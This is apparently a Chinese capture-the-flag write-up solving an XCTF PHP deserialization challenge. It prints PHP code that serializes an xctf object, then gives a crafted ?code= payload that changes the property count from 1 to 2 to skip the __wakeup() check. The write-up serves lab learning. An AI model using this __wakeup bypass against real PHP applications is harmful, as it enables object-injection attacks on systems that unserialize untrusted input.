解:打开靶机是一段php代码,最后问你?code=应该等于多少,看见_wakeup()就是典型的反序列化的题。
题目比较简单,只有一个xctf类,首先需要对其实例化,再用serialize进行序列化输出字符串 :
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$xctf=new xctf();
echo(serialize($xctf));
?>
序列化结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
又因为_wakeup()的原因,需要让_wakeup()失效实现绕过,当属性个数不正确时,_wakeup()内部函数返回值出现异常导致其它函数无法执行,就不会执行_wakeup()函数,所以咱们只需要让序列化结果中的属性值改变即可,如1->2.
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
如果不做修改就会执行_wakeup()函数